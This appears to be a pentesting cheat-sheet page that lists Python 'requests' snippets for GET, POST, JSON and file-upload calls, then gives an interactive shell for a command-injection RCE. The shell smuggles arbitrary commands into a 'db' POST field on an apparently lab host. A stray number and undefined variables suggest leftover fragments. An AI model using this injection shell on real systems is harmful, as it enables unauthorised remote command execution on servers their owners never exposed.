--- description: 'Get request, Post request (regular, json, file)' --- # Web Requests ```python import requests url = "http://example.com:80/some/path.php" params = {"p1":"value1", "p2":"value2"} headers = {"User-Agent": "fake User Agent", "Fake header": "True value"} cookies = {"PHPSESSID": "1234567890abcdef", "FakeCookie123": "456"} proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'} #Regular Get requests sending parameters (params) gr = requests.get(url, params=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True) code = gr.status_code ret_headers = gr.headers body_byte = gr.content body_text = gr.text ret_cookies = gr.cookies is_redirect = gr.is_redirect is_permanent_redirect = gr.is_permanent_redirect float_seconds = gr.elapsed.total_seconds() 10.231 #Regular Post requests sending parameters (data) pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies) #Json Post requests sending parameters(json) pr = requests.post(url, json=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies) #Post request sending a file(files) and extra values filedict = {"" : ("filename.png", open("filename.png", 'rb').read(), "image/png")} pr = requests.post(url, data={"submit": "submit"}, files=filedict) #Useful for presenting results in boolean/timebased injections print(f"\rflag: {flag}{char}", end="") ``` ## Python cmd to exploit a RCE ```python import requests import re from cmd import Cmd class Terminal(Cmd): prompt = "Inject => " def default(self, args): output = RunCmd(args) print(output) def RunCmd(cmd): data = { 'db': f'lol; echo -n "MYREGEXP"; {cmd}; echo -n "MYREGEXP2"' } r = requests.post('http://10.10.10.127/select', data=data) page = r.text m = re.search('MYREGEXP(.*?)MYREGEXP2', page, re.DOTALL) if m: return m.group(1) else: return 1 term = Terminal() term.cmdloop() ```